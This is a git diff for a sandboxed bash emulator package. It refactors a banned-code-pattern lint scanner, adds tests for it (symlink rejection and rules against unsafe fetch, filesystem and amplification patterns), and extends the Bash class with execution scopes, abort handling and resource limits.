+      console.error(
+        "  // @banned-pattern-ignore: static keys only, never accessed with user input\n",
+      );
+      console.error(
+        `\x1b[31mViolations (${patternViolations.length}):\x1b[0m\n`,
+      );
 
-    console.error(`\x1b[33m━━━ ${patternName} ━━━\x1b[0m\n`);
-    console.error(pattern.message);
-    console.error("");
-    console.error("\x1b[33mSolutions:\x1b[0m");
-    for (const solution of pattern.solutions) {
-      console.error(`  • ${solution}`);
+      for (const v of patternViolations) {
+        const relPath = relative(rootDir, v.file);
+        console.error(`\x1b[36m${relPath}:${v.line}\x1b[0m`);
+        console.error(v.context);
+        console.error("");
+      }
     }
-    console.error("");
+
     console.error(
-      "\x1b[33mTo opt-out, add a comment explaining why it's safe:\x1b[0m",
+      `\x1b[31m✖ ${violations.length} total violation(s) found\x1b[0m\n`,
     );
+  }
+
+  if (unusedIgnores.length > 0) {
+    hasErrors = true;
+  }
+  if (report && unusedIgnores.length > 0) {
     console.error(
-      "  // @banned-pattern-ignore: static keys only, never accessed with user input\n",
+      "\n\x1b[31m✖ Unused @banned-pattern-ignore Comments\x1b[0m\n",
+    );
+    console.error(
+      "The following ignore comments don't suppress any banned pattern.\n" +
+        "Remove them or ensure the pattern they're meant to suppress is correct.\n",
     );
-    console.error(`\x1b[31mViolations (${patternViolations.length}):\x1b[0m\n`);
 
-    for (const v of patternViolations) {
-      const relPath = relative(rootDir, v.file);
-      console.error(`\x1b[36m${relPath}:${v.line}\x1b[0m`);
-      console.error(v.context);
+    for (const ignore of unusedIgnores) {
+      const relPath = relative(rootDir, ignore.file);
+      console.error(`\x1b[36m${relPath}:${ignore.line}\x1b[0m`);
+      console.error(`  ${ignore.content}`);
       console.error("");
     }
-  }
-
-  console.error(
-    `\x1b[31m✖ ${violations.length} total violation(s) found\x1b[0m\n`,
-  );
-}
 
-if (unusedIgnores.length > 0) {
-  hasErrors = true;
-  console.error("\n\x1b[31m✖ Unused @banned-pattern-ignore Comments\x1b[0m\n");
-  console.error(
-    "The following ignore comments don't suppress any banned pattern.\n" +
-      "Remove them or ensure the pattern they're meant to suppress is correct.\n",
-  );
+    console.error(
+      `\x1b[31m✖ ${unusedIgnores.length} unused ignore comment(s) found\x1b[0m\n`,
+    );
+  }
 
-  for (const ignore of unusedIgnores) {
-    const relPath = relative(rootDir, ignore.file);
-    console.error(`\x1b[36m${relPath}:${ignore.line}\x1b[0m`);
-    console.error(`  ${ignore.content}`);
-    console.error("");
+  if (report && !hasErrors) {
+    console.log("\x1b[32m✓ No banned patterns detected\x1b[0m");
   }
 
-  console.error(
-    `\x1b[31m✖ ${unusedIgnores.length} unused ignore comment(s) found\x1b[0m\n`,
-  );
+  return {
+    hasErrors,
+    violations: [...violations],
+    scanErrors: [...scanErrors],
+    unusedIgnores: [...unusedIgnores],
+  };
 }
 
-if (hasErrors) {
-  process.exit(1);
-} else {
-  console.log("\x1b[32m✓ No banned patterns detected\x1b[0m");
-  process.exit(0);
+const isMain =
+  process.argv[1] !== undefined &&
+  resolve(process.argv[1]) === fileURLToPath(import.meta.url);
+if (isMain) {
+  const result = runScanner();
+  process.exitCode = result.hasErrors ? 1 : 0;
 }
diff --git a/packages/just-bash/scripts/check-banned-patterns.test.ts b/packages/just-bash/scripts/check-banned-patterns.test.ts
new file mode 100644
index 00000000..cf73f184
--- /dev/null
+++ b/packages/just-bash/scripts/check-banned-patterns.test.ts
@@ -0,0 +1,297 @@
+import { spawnSync } from "node:child_process";
+import {
+  mkdirSync,
+  mkdtempSync,
+  rmSync,
+  symlinkSync,
+  writeFileSync,
+} from "node:fs";
+import { tmpdir } from "node:os";
+import { dirname, join } from "node:path";
+import { fileURLToPath } from "node:url";
+import { afterEach, describe, expect, it } from "vitest";
+import { runScanner } from "./check-banned-patterns.js";
+
+const scriptPath = join(
+  dirname(fileURLToPath(import.meta.url)),
+  "check-banned-patterns.js",
+);
+const cleanup: string[] = [];
+
+function tempDirectory(prefix: string): string {
+  const dir = mkdtempSync(join(tmpdir(), prefix));
+  cleanup.push(dir);
+  return dir;
+}
+
+function runScannerCli(cwd: string) {
+  return spawnSync(process.execPath, [scriptPath], {
+    cwd,
+    encoding: "utf8",
+  });
+}
+
+afterEach(() => {
+  for (const dir of cleanup.splice(0)) {
+    rmSync(dir, { recursive: true, force: true });
+  }
+});
+
+describe("check-banned-patterns filesystem boundary", () => {
+  it("rejects an external file symlink without reading its contents", () => {
+    const root = tempDirectory("just-bash-lint-root-");
+    const outside = tempDirectory("just-bash-lint-outside-");
+    const secret = "EXTERNAL_SECRET_CANARY";
+    writeFileSync(join(outside, "secret.ts"), `${secret}\nconst bad = {};\n`);
+    symlinkSync(join(outside, "secret.ts"), join(root, "linked.ts"));
+
+    const result = runScannerCli(root);
+
+    expect(result.status).toBe(1);
+    expect(result.stdout).toBe("");
+    expect(result.stderr).toContain("linked.ts: symbolic link rejected");
+    expect(result.stderr).toContain("Incomplete security scan");
+    expect(result.stderr).not.toContain(secret);
+  });
+
+  it("continues scanning after an entry error and reports later violations", () => {
+    const root = tempDirectory("just-bash-lint-errors-");
+    mkdirSync(join(root, "src"));
+    symlinkSync(join(root, "missing.ts"), join(root, "src", "a-broken.ts"));
+    writeFileSync(join(root, "src", "z-bad.ts"), "const unsafe = {};\n");
+
+    const result = runScannerCli(root);
+
+    expect(result.status).toBe(1);
+    expect(result.stderr).toContain("src/a-broken.ts: symbolic link rejected");
+    expect(result.stderr).toContain("Banned Code Patterns Detected");
+    expect(result.stderr).toContain("src/z-bad.ts:1");
+    expect(result.stderr).not.toContain("No banned patterns detected");
+  });
+
+  it("succeeds only after a complete clean scan", () => {
+    const root = tempDirectory("just-bash-lint-clean-");
+    mkdirSync(join(root, "src"));
+    writeFileSync(join(root, "src", "safe.ts"), "const safe = new Map();\n");
+
+    const result = runScannerCli(root);
+
+    expect(result.status).toBe(0);
+    expect(result.stderr).toBe("");
+    expect(result.stdout).toContain("No banned patterns detected");
+  });
+
+  it("accepts a legitimate path segment beginning with two dots", () => {
+    const root = tempDirectory("just-bash-lint-dot-name-");
+    writeFileSync(join(root, "..safe.ts"), "const safe = new Map();\n");
+
+    const result = runScanner(root, { report: false });
+
+    expect(result.hasErrors).toBe(false);
+    expect(result.scanErrors).toEqual([]);
+  });
+
+  it("does not scan generated finding and planning inputs", () => {
+    const root = tempDirectory("just-bash-lint-inputs-");
+    mkdirSync(join(root, ".deepsec"));
+    mkdirSync(join(root, "todo"));
+    writeFileSync(join(root, ".deepsec", "finding.ts"), "const bad = {};\n");
+    writeFileSync(join(root, "todo", "plan.ts"), "const bad = {};\n");
+    writeFileSync(join(root, "safe.ts"), "const safe = new Map();\n");
+
+    expect(runScanner(root, { report: false }).hasErrors).toBe(false);
+  });
+
+  it("resets findings and visited-directory state for every invocation", () => {
+    const badRoot = tempDirectory("just-bash-lint-reset-bad-");
+    const goodRoot = tempDirectory("just-bash-lint-reset-good-");
+    writeFileSync(join(badRoot, "bad.ts"), "const unsafe = {};\n");
+    writeFileSync(join(goodRoot, "good.ts"), "const safe = new Map();\n");
+
+    const first = runScanner(badRoot, { report: false });
+    const second = runScanner(goodRoot, { report: false });
+
+    expect(first.violations).toHaveLength(1);
+    expect(second.hasErrors).toBe(false);
+    expect(second.violations).toEqual([]);
+  });
+
+  it.each([
+    [
+      "non-portable abort composition",
+      "src/runtime.ts",
+      "const signal = AbortSignal.any(signals);\n",
+      "Non-portable AbortSignal composition",
+    ],
+    [
+      "stack-based authorization",
+      "src/security/gate.ts",
+      'const trusted = errorStack.includes("node:internal/modules/cjs/loader");\n',
+      "Stack text used as a security decision",
+    ],
+    [
+      "fresh nested execution engines",
+      "src/interpreter/nested.ts",
+      "const interpreter = new Interpreter(options, state);\n",
+      "Execution engine constructed outside Bash",
+    ],
+  ])("rejects %s", (_name, relativePath, source, violationName) => {
+    const root = tempDirectory("just-bash-lint-rule-");
+    const fullPath = join(root, relativePath);
+    mkdirSync(dirname(fullPath), { recursive: true });
+    writeFileSync(fullPath, source);
+
+    const result = runScannerCli(root);
+
+    expect(result.status).toBe(1);
+    expect(result.stderr).toContain(violationName);
+  });
+
+  it.each([
+    [
+      "forgeable security diagnostics",
+      "src/security/gate.ts",
+      'const trusted = error.message.includes("trusted loader");\n',
+      "Forgeable diagnostic used as a security decision",
+    ],
+    [
+      "optional local limit defaults",
+      "src/commands/example.ts",
+      "const max = ctx.limits?.maxOutputSize ?? 1024;\n",
+      "Optional command limit with literal fallback",
+    ],
+    [
+      "raw secured fetch",
+      "src/network/fetch.ts",
+      "const response = fetch(currentUrl, options);\n",
+      "Raw fetch in secured network path",
+    ],
+    [
+      "whole-buffer decompression",
+      "src/commands/archive.ts",
+      "const output = gunzipSync(input);\n",
+      "Whole-buffer decompression outside codec boundary",
+    ],
+    [
+      "host filesystem imports in commands",
+      "src/commands/unsafe.ts",
+      'import { readFile } from "node:fs/promises";\n',
+      "Restricted Node filesystem import",
+    ],
+    [
+      "raw path-prefix containment",
+      "src/fs/containment.ts",
+      'const inside = !relative.startsWith("..");\n',
+      "Unsafe path-prefix containment",
+    ],
+    [
+      "dynamic string amplification",
+      "src/commands/example.ts",
+      'const output = "x".repeat(width);\n',
+      "Unchecked dynamic string or array amplification",
+    ],
+    [
+      "array-join amplification",
+      "src/commands/example.ts",
+      'const output = Array(count).fill("x").join("");\n',
+      "Unchecked array construction followed by join",
+    ],
+    [
+      "allocating byte measurement",
+      "src/commands/example.ts",
+      "const bytes = new TextEncoder().encode(input).length;\n",
+      "Allocating UTF-8 byte-length measurement",
+    ],
+    [
+      "unbounded interpreter output",
+      "src/interpreter/interpreter.ts",
+      "stdout += result.stdout;\n",
+      "Unbounded interpreter output accumulation",
+    ],
+    [
+      "fatal catch swallowing",
+      "src/commands/example.ts",
+      "try { run(); } catch (error) { return fallback; }\n",
+      "Fatal execution error swallowed by catch",
+    ],
+    [
+      "raw filesystem error returns",
+      "src/fs/adapter.ts",
+      "return { error: error.message };\n",
+      "Raw filesystem error returned from adapter",
+    ],
+    [
+      "workers without request controller",
+      "src/commands/example.ts",
+      "const worker = new Worker(path);\n",
+      "Worker created without shared request controller",
+    ],
+    [
+      "command-local maximums",
+      "src/commands/example.ts",
+      "const MAX_ROWS = 1234;\n",
+      "Undocumented command-local MAX constant",
+    ],
+  ])("rejects %s", (_name, relativePath, source, violationName) => {
+    const root = tempDirectory("just-bash-lint-policy-");
+    const fullPath = join(root, relativePath);
+    mkdirSync(dirname(fullPath), { recursive: true });
+    writeFileSync(fullPath, source);
+
+    const result = runScanner(root, { report: false });
+
+    expect(result.violations.map((item) => item.pattern.name)).toContain(
+      violationName,
+    );
+  });
+
+  it("accepts reviewed gates and shared worker controller adoption", () => {
+    const root = tempDirectory("just-bash-lint-approved-");
+    mkdirSync(join(root, "src", "fs"), { recursive: true });
+    mkdirSync(join(root, "src", "commands"), { recursive: true });
+    writeFileSync(
+      join(root, "src", "fs", "gate.ts"),
+      'import { openSync } from "node:fs";\nconst safe = new Map();\n',
+    );
+    writeFileSync(
+      join(root, "src", "commands", "worker.ts"),
+      'import { WorkerRequestController } from "../worker-request-controller.js";\n// @banned-pattern-ignore: constructor is owned by the request controller created below\nconst worker = new Worker(path);\nconst controller = new WorkerRequestController(worker);\n',
+    );
+
+    expect(runScanner(root, { report: false }).hasErrors).toBe(false);
+  });
+
+  it("does not let one controller token exempt a second unmanaged Worker", () => {
+    const root = tempDirectory("just-bash-lint-worker-scope-");
+    const file = join(root, "src", "commands", "worker.ts");
+    mkdirSync(dirname(file), { recursive: true });
+    writeFileSync(
+      file,
+      'import { WorkerRequestController } from "../worker-request-controller.js";\n// @banned-pattern-ignore: first constructor is owned by its request controller\nconst first = new Worker(firstPath);\nconst controller = new WorkerRequestController(first);\nconst unmanaged = new Worker(secondPath);\n',
+    );
+
+    const result = runScanner(root, { report: false });
+    const workerFindings = result.violations.filter(
+      (item) =>
+        item.pattern.name ===
+        "Worker created without shared request controller",
+    );
+    expect(workerFindings).toHaveLength(1);
+    expect(workerFindings[0].content).toContain("secondPath");
+  });
+
+  it("rejects an empty banned-pattern suppression reason", () => {
+    const root = tempDirectory("just-bash-lint-empty-ignore-");
+    const file = join(root, "src", "commands", "worker.ts");
+    mkdirSync(dirname(file), { recursive: true });
+    writeFileSync(
+      file,
+      "// @banned-pattern-ignore:\nconst worker = new Worker(path);\n",
+    );
+
+    const result = runScanner(root, { report: false });
+    expect(result.violations.map((item) => item.pattern.name)).toContain(
+      "Worker created without shared request controller",
+    );
+  });
+});
diff --git a/packages/just-bash/src/Bash.commands.test.ts b/packages/just-bash/src/Bash.commands.test.ts
index 60c9cd1e..bf8bae41 100644
--- a/packages/just-bash/src/Bash.commands.test.ts
+++ b/packages/just-bash/src/Bash.commands.test.ts
@@ -83,14 +83,15 @@ describe("Bash commands filtering", () => {
     expect((await env.exec("cp /test.txt /test2.txt")).exitCode).toBe(127);
   });
 
-  it("custom commands can use Node.js APIs with defense-in-depth enabled", async () => {
+  it("explicitly trusted custom commands can use Node.js APIs", async () => {
     const env = new Bash({
       customCommands: [
         {
           name: "myfetch",
+          trusted: true,
           execute: async (_args, _ctx) => {
-            // Custom command uses setTimeout and fetch — both are blocked
-            // globals, but should work because commands are trusted.
+            // Trusted host extensions deliberately run outside the restricted
+            // command context.
             await new Promise((r) => setTimeout(r, 1));
             return { stdout: "custom-ok\n", stderr: "", exitCode: 0 };
           },
diff --git a/packages/just-bash/src/Bash.exec-options.test.ts b/packages/just-bash/src/Bash.exec-options.test.ts
index 549d70ed..6e539979 100644
--- a/packages/just-bash/src/Bash.exec-options.test.ts
+++ b/packages/just-bash/src/Bash.exec-options.test.ts
@@ -50,6 +50,19 @@ async function waitFor(
 }
 
 describe("exec options", () => {
+  it("returns exit 124 when the supplied signal is already aborted", async () => {
+    const controller = new AbortController();
+    controller.abort();
+
+    await expect(
+      new Bash().exec("echo unreachable", { signal: controller.signal }),
+    ).resolves.toMatchObject({
+      stdout: "",
+      stderr: "bash: execution aborted\n",
+      exitCode: 124,
+    });
+  });
+
   describe("per-exec env", () => {
     it("should use env vars for single execution", async () => {
       const env = new Bash();
@@ -193,6 +206,29 @@ describe("exec options", () => {
       const envResult = await env.exec("echo $MODE");
       expect(envResult.stdout).toBe("dev\n");
     });
+
+    it("should use OLDPWD from per-exec env for cd dash", async () => {
+      const env = new Bash({ cwd: "/" });
+      await env.exec("mkdir -p /tmp/old /tmp/new");
+
+      const firstCd = await env.exec("cd /tmp/old", {
+        cwd: "/",
+        env: env.getEnv(),
+      });
+      const secondCd = await env.exec("cd ../new", {
+        cwd: firstCd.env.PWD,
+        env: firstCd.env,
+      });
+
+      const result = await env.exec("cd -", {
+        cwd: secondCd.env.PWD,
+        env: secondCd.env,
+      });
+
+      expect(result.stdout).toBe("/tmp/old\n");
+      expect(result.env.PWD).toBe("/tmp/old");
+      expect(result.env.OLDPWD).toBe("/tmp/new");
+    });
   });
 
   describe("error handling", () => {
diff --git a/packages/just-bash/src/Bash.ts b/packages/just-bash/src/Bash.ts
index f8100799..b565e3c5 100644
--- a/packages/just-bash/src/Bash.ts
+++ b/packages/just-bash/src/Bash.ts
@@ -11,6 +11,8 @@
 import type { FunctionDefNode } from "./ast/types.js";
 // Eagerly import timers to capture references before defense-in-depth patches them
 import "./timers.js";
+import { combineAbortSignals } from "./abort-signals.js";
+import { utf8ByteLength } from "./commands/printf/escapes.js";
 import {
   type CommandName,
   createJavaScriptCommands,
@@ -24,6 +26,7 @@ import {
   isLazyCommand,
 } from "./custom-commands.js";
 import { encodeUtf8ToBytes, latin1FromBytes } from "./encoding.js";
+import { ExecutionScope } from "./execution-scope.js";
 import { InMemoryFs } from "./fs/in-memory-fs/in-memory-fs.js";
 import { initFilesystem } from "./fs/init.js";
 import type { IFileSystem, InitialFiles } from "./fs/interface.js";
@@ -40,6 +43,7 @@ import {
   ExitError,
   PosixFatalError,
 } from "./interpreter/errors.js";
+import { cloneArrays } from "./interpreter/helpers/array.js";
 import {
   buildBashopts,
   buildShellopts,
@@ -49,7 +53,11 @@ import {
   type InterpreterOptions,
   type InterpreterState,
 } from "./interpreter/index.js";
-import { type ExecutionLimits, resolveLimits } from "./limits.js";
+import {
+  type ExecutionLimitProfile,
+  type ExecutionLimits,
+  resolveLimits,
+} from "./limits.js";
 import {
   createSecureFetch,
   type NetworkConfig,
@@ -62,6 +70,7 @@ import {
   SecurityViolationError,
 } from "./security/defense-in-depth-box.js";
 import type { DefenseInDepthConfig } from "./security/types.js";
+import { assertSourceWithinLimit } from "./source-limit.js";
 import { serialize } from "./transform/serialize.js";
 import type {
   BashTransformResult,
@@ -75,7 +84,7 @@ import type {
   TraceCallback,
 } from "./types.js";
 
-export type { ExecutionLimits } from "./limits.js";
+export type { ExecutionLimitProfile, ExecutionLimits } from "./limits.js";
 
 /**
  * Logger interface for Bash execution logging.
@@ -121,6 +130,8 @@ export interface BashOptions {
    * See ExecutionLimits interface for available options.
    */
   executionLimits?: ExecutionLimits;
+  /** Named execution-limit preset. Defaults to compatibility-oriented `normal`. */
+  executionLimitProfile?: ExecutionLimitProfile;
   /**
    * @deprecated Use executionLimits.maxCallDepth instead
    */
@@ -211,8 +222,8 @@ export interface BashOptions {
    *
    * @example
    * ```ts
-   * // Simple enable
-   * const bash = new Bash({ defenseInDepth: true });
+   * // Capability-detect the strongest available protection.
+   * const bash = new Bash({ defenseInDepth: { enabled: "auto" } });
    *
    * // With custom configuration
    * const bash = new Bash({
@@ -223,6 +234,9 @@ export interface BashOptions {
    *   },
    * });
    * ```
+   * Node versions without context-aware ESM loader hooks retain the scoped
+   * best-effort controls and report the unavailable loader capability in
+   * DefenseInDepthStatus.
    */
   defenseInDepth?: DefenseInDepthConfig | boolean;
   /**
@@ -312,7 +326,29 @@ export class Bash {
   private state: InterpreterState;
 
   constructor(options: BashOptions = {}) {
-    const fs = options.fs ?? new InMemoryFs(options.files);
+    // Resolve limits before constructing the default filesystem so retained
+    // virtual storage follows the same host-selected policy as execution.
+    this.limits = resolveLimits(
+      {
+        ...options.executionLimits,
+        // Support deprecated individual options (they override executionLimits if set)
+        ...(options.maxCallDepth !== undefined && {
+          maxCallDepth: options.maxCallDepth,
+        }),
+        ...(options.maxCommandCount !== undefined && {
+          maxCommandCount: options.maxCommandCount,
+        }),
+        ...(options.maxLoopIterations !== undefined && {
+          maxLoopIterations: options.maxLoopIterations,
+        }),
+      },
+      options.executionLimitProfile,
+    );
+    const fs =
+      options.fs ??
+      new InMemoryFs(options.files, {
+        maxTotalBytes: this.limits.maxFileSystemBytes,
+      });
     this.fs = fs;
 
     this.useDefaultLayout = !options.cwd && !options.files;
@@ -333,21 +369,6 @@ export class Bash {
       ...Object.entries(options.env ?? {}),
     ]);
 
-    // Resolve limits: new executionLimits takes precedence, then deprecated individual options
-    this.limits = resolveLimits({
-      ...options.executionLimits,
-      // Support deprecated individual options (they override executionLimits if set)
-      ...(options.maxCallDepth !== undefined && {
-        maxCallDepth: options.maxCallDepth,
-      }),
-      ...(options.maxCommandCount !== undefined && {
-        maxCommandCount: options.maxCommandCount,
-      }),
-      ...(options.maxLoopIterations !== undefined && {
-        maxLoopIterations: options.maxLoopIterations,
-      }),
-    });
-
     // Create secure fetch: prefer explicit fetch, fall back to network config
     if (options.fetch) {
       this.secureFetch = options.fetch;
@@ -364,7 +385,8 @@ export class Bash {
     // Store logger if provided
     this.logger = options.logger;
 
-    // Defense-in-depth defaults to enabled
+    // Preserve the historical enabled default. Older supported Nodes use the
+    // strongest scoped controls they expose and report loader-hook capability.
     this.defenseInDepthConfig = options.defenseInDepth ?? true;
 
     // Store coverage writer if provided (for fuzzing instrumentation)
@@ -373,6 +395,7 @@ export class Bash {
     // Initialize interpreter state
     this.state = {
       env,
+      arrays: new Map(),
       cwd,
       previousDir: "/home/user",
       functions: new Map<string, FunctionDefNode>(),
@@ -459,13 +482,13 @@ export class Bash {
     }
 
     for (const cmd of createLazyCommands(options.commands)) {
-      this.registerCommand(cmd);
+      this.registerBundledCommand(cmd);
     }
 
     // Register network commands when fetch or network is configured
     if (options.fetch || options.network) {
       for (const cmd of createNetworkCommands()) {
-        this.registerCommand(cmd);
+        this.registerBundledCommand(cmd);
       }
     }
 
@@ -473,7 +496,7 @@ export class Bash {
     // Python introduces additional security surface (arbitrary code execution)
     if (options.python) {
       for (const cmd of createPythonCommands()) {
-        this.registerCommand(cmd);
+        this.registerBundledCommand(cmd);
       }
     }
 
@@ -486,7 +509,7 @@ export class Bash {
     // is provided (the hook is meaningless without js-exec).
     if (options.javascript || jsConfig.invokeTool) {
       for (const cmd of createJavaScriptCommands()) {
-        this.registerCommand(cmd);
+        this.registerBundledCommand(cmd);
       }
       if (jsConfig.bootstrap) {
         this.jsBootstrapCode = jsConfig.bootstrap;
@@ -500,19 +523,34 @@ export class Bash {
     if (options.customCommands) {
       for (const cmd of options.customCommands) {
         if (isLazyCommand(cmd)) {
-          this.registerCommand(createLazyCustomCommand(cmd));
+          const command = createLazyCustomCommand(cmd);
+          this.registerCommandInternal(command, true);
         } else {
-          this.registerCommand({
-            ...cmd,
-            trusted: cmd.trusted ?? true,
-          });
+          this.registerCommandInternal(cmd, true);
         }
       }
     }
   }
 
   registerCommand(command: Command): void {
-    this.commands.set(command.name, command);
+    this.registerCommandInternal(command, true);
+  }
+
+  private registerBundledCommand(command: Command): void {
+    this.registerCommandInternal(command, false);
+  }
+
+  private registerCommandInternal(
+    command: Command,
+    isExtension: boolean,
+    trusted = isExtension ? (command.trusted ?? true) : command.trusted,
+  ): void {
+    this.commands.set(command.name, {
+      name: command.name,
+      trusted,
+      internalIsExtension: isExtension,
+      execute: (args, context) => command.execute(args, context),
+    });
     // Create command stubs in /bin and /usr/bin for PATH-based resolution
     // Works for both InMemoryFs and OverlayFs (both have writeFileSync)
     // Commands are registered to both locations like real Linux systems
@@ -559,254 +597,342 @@ export class Bash {
     commandLine: string,
     options?: ExecOptions,
   ): Promise<BashExecResult> {
-    if (this.state.callDepth === 0) {
-      this.state.commandCount = 0;
+    const executionScope = new ExecutionScope(this.limits, options?.signal);
+    let result: BashExecResult;
+    try {
+      result = await this.execInScope(
+        commandLine,
+        options,
+        executionScope,
+        0,
+        options?.signal,
+        false, // stdinAlreadyAccounted
+        false, // defer result logging until cleanup finalizes the result
+      );
+    } catch (error) {
+      // Cleanup must not hide the original execution failure.
+      try {
+        await executionScope.close();
+      } catch {
+        // The execution error remains the more useful and compatible failure.
+      }
+      throw error;
     }
 
-    this.state.commandCount++;
-    if (this.state.commandCount > this.limits.maxCommandCount) {
-      return {
-        stdout: "",
-        stderr: `bash: maximum command count (${this.limits.maxCommandCount}) exceeded (possible infinite loop). Increase with executionLimits.maxCommandCount option.\n`,
-        exitCode: 1,
-        env: mapToRecordWithExtras(this.state.env, options?.env),
+    let finalResult = result;
+    try {
+      await executionScope.close();
+    } catch {
+      // Cleanup callbacks are extension code. Convert their failure into a
+      // shell result so Bash.exec() keeps its result-oriented error contract.
+      finalResult = {
+        ...result,
+        stderr: `${result.stderr}bash: execution cleanup failed\n`,
+        exitCode: 126,
       };
     }
+    return commandLine.trim() ? this.logResult(finalResult) : finalResult;
+  }
 
-    if (!commandLine.trim()) {
-      return {
-        stdout: "",
-        stderr: "",
-        exitCode: 0,
-        env: mapToRecordWithExtras(this.state.env, options?.env),
-      };
-    }
+  private async execInScope(
+    commandLine: string,
+    options: ExecOptions | undefined,
+    executionScope: ExecutionScope,
+    execDepth: number,
+    parentSignal: AbortSignal | undefined,
+    stdinAlreadyAccounted = false,
+    shouldLogResult = true,
+  ): Promise<BashExecResult> {
+    const finishResult = (result: BashExecResult): BashExecResult =>
+      shouldLogResult ? this.logResult(result) : result;
+    const combinedAbort = combineAbortSignals(parentSignal, options?.signal);
+    const effectiveOptions = options
+      ? { ...options, signal: combinedAbort.signal }
+      : { signal: combinedAbort.signal };
 
-    // Log command execution
-    this.logger?.info("exec", { command: commandLine });
-
-    // Each exec call gets an isolated state copy - like starting a new shell
-    // This ensures exec calls never interfere with each other
-    const effectiveCwd = options?.cwd ?? this.state.cwd;
-
-    // Determine PWD and cwd for the new shell context
-    // If PWD is in the provided env, use it (inherited from parent)
-    // If PWD is NOT in the provided env (was unset), use realpath to get physical path
-    // This matches bash behavior: when PWD is unset and a new shell starts,
-    // it initializes PWD (and cwd) using realpath (resolving symlinks)
-    let newPwd: string | undefined;
-    let newCwd = effectiveCwd;
-    if (options?.cwd) {
-      if (options.env && "PWD" in options.env) {
-        // PWD explicitly provided - use it
-        newPwd = options.env.PWD;
-      } else if (options?.env && !("PWD" in options.env)) {
-        // PWD not in provided env - use realpath to resolve symlinks
-        // This also updates cwd since the shell determines its position from scratch
-        try {
-          newPwd = await this.fs.realpath(effectiveCwd);
-          newCwd = newPwd; // Both PWD and cwd should be the physical path
-        } catch {
-          // Fallback to logical path if realpath fails
+    try {
+      executionScope.assertExecDepth(execDepth);
+
+      // Reject oversized source before trim/normalization/parser copies it.
+      // Source, expanded string values, and stdin have distinct budgets so a
+      // host can constrain any one without unexpectedly disabling the others.
+      assertSourceWithinLimit(commandLine, this.limits.maxSourceBytes);
+
+      if (!commandLine.trim()) {
+        return {
+          stdout: "",
+          stderr: "",
+          exitCode: 0,
+          env: mapToRecordWithExtras(this.state.env, effectiveOptions.env),
+        };
+      }
+
+      // Log command execution
+      this.logger?.info("exec", { command: commandLine });
+
+      // Each exec call gets an isolated state copy - like starting a new shell
+      // This ensures exec calls never interfere with each other
+      const effectiveCwd = effectiveOptions.cwd ?? this.state.cwd;
+
+      // Determine PWD and cwd for the new shell context
+      // If PWD is in the provided env, use it (inherited from parent)
+      // If PWD is NOT in the provided env (was unset), use realpath to get physical path
+      // This matches bash behavior: when PWD is unset and a new shell starts,
+      // it initializes PWD (and cwd) using realpath (resolving symlinks)
+      let newPwd: string | undefined;
+      let newCwd = effectiveCwd;
+      if (effectiveOptions.cwd) {
+        if (effectiveOptions.env && "PWD" in effectiveOptions.env) {
+          // PWD explicitly provided - use it
+          newPwd = effectiveOptions.env.PWD;
+        } else if (effectiveOptions.env && !("PWD" in effectiveOptions.env)) {
+          // PWD not in provided env - use realpath to resolve symlinks
+          // This also updates cwd since the shell determines its position from scratch
+          try {
+            newPwd = await this.fs.realpath(effectiveCwd);
+            newCwd = newPwd; // Both PWD and cwd should be the physical path
+          } catch {
+            // Fallback to logical path if realpath fails
+            newPwd = effectiveCwd;
+          }
+        } else {
+          // No env provided - use logical cwd
           newPwd = effectiveCwd;
         }
-      } else {
-        // No env provided - use logical cwd
-        newPwd = effectiveCwd;
       }
-    }
 
-    // Create environment for this execution
-    const execEnv = options?.replaceEnv
-      ? new Map<string, string>()
-      : new Map(this.state.env);
-    // Merge in options.env
-    if (options?.env) {
-      for (const [key, value] of Object.entries(options.env)) {
-        execEnv.set(key, value);
+      // Create environment for this execution
+      const execEnv = effectiveOptions.replaceEnv
+        ? new Map<string, string>()
+        : new Map(this.state.env);
+      // Merge in options.env
+      if (effectiveOptions.env) {
+        for (const [key, value] of Object.entries(effectiveOptions.env)) {
+          execEnv.set(key, value);
+        }
+      }
+      // Update PWD when cwd option is provided
+      if (newPwd !== undefined) {
+        execEnv.set("PWD", newPwd);
       }
-    }
-    // Update PWD when cwd option is provided
-    if (newPwd !== undefined) {
-      execEnv.set("PWD", newPwd);
-    }
 
-    const execState: InterpreterState = {
-      ...this.state,
-      env: execEnv,
-      cwd: newCwd,
-      // Deep copy mutable objects to prevent interference
-      functions: new Map(this.state.functions),
-      localScopes: [...this.state.localScopes],
-      options: { ...this.state.options },
-      // Share hashTable reference - it should persist across exec calls
-      hashTable: this.state.hashTable,
-      // Pass stdin through to commands (for bash -c with piped input).
-      // The pipeline contract is "stdin is a latin1-shaped byte buffer";
-      // text-shaped user input (the default) needs UTF-8 encoding here
-      // so byte consumers (`wc -c`, `base64`) inside the script see real
-      // UTF-8 bytes. Callers that already prepared a byte buffer (e.g.
-      // `Buffer.from(buf).toString("latin1")`) opt into raw passthrough
-      // via `stdinKind: "bytes"`.
-      groupStdin: encodeStdinForPipeline(options?.stdin, options?.stdinKind),
-      // Cooperative cancellation signal (used by timeout command)
-      signal: options?.signal,
-      // Extra arguments injected directly into first command's arg list
-      extraArgs: options?.args,
-    };
+      const execState: InterpreterState = {
+        ...this.state,
+        env: execEnv,
+        arrays: effectiveOptions.replaceEnv
+          ? new Map()
+          : cloneArrays(this.state.arrays),
+        cwd: newCwd,
+        previousDir: effectiveOptions.env?.OLDPWD ?? this.state.previousDir,
+        // Deep copy mutable objects to prevent interference
+        functions: new Map(this.state.functions),
+        localScopes: [...this.state.localScopes],
+        options: { ...this.state.options },
+        // Share hashTable reference - it should persist across exec calls
+        hashTable: this.state.hashTable,
+        // Pass stdin through to commands (for bash -c with piped input).
+        // The pipeline contract is "stdin is a latin1-shaped byte buffer";
+        // text-shaped user input (the default) needs UTF-8 encoding here
+        // so byte consumers (`wc -c`, `base64`) inside the script see real
+        // UTF-8 bytes. Callers that already prepared a byte buffer (e.g.
+        // `Buffer.from(buf).toString("latin1")`) opt into raw passthrough
+        // via `stdinKind: "bytes"`.
+        groupStdin: encodeStdinForPipeline(
+          effectiveOptions.stdin,
+          effectiveOptions.stdinKind,
+          this.limits.maxInputBytes,
+          this.limits.maxStringLength,
+          executionScope,
+          stdinAlreadyAccounted,
+        ),
+        // Cooperative cancellation signal (used by timeout command)
+        signal: effectiveOptions.signal,
+        // Extra arguments injected directly into first command's arg list
+        extraArgs: effectiveOptions.args,
+      };
 
-    // Normalize indented multi-line scripts (unless rawScript is true)
-    // This allows writing indented bash scripts in template literals
-    // BUT we must preserve whitespace inside heredoc content
-    let normalized = commandLine;
-    if (!options?.rawScript) {
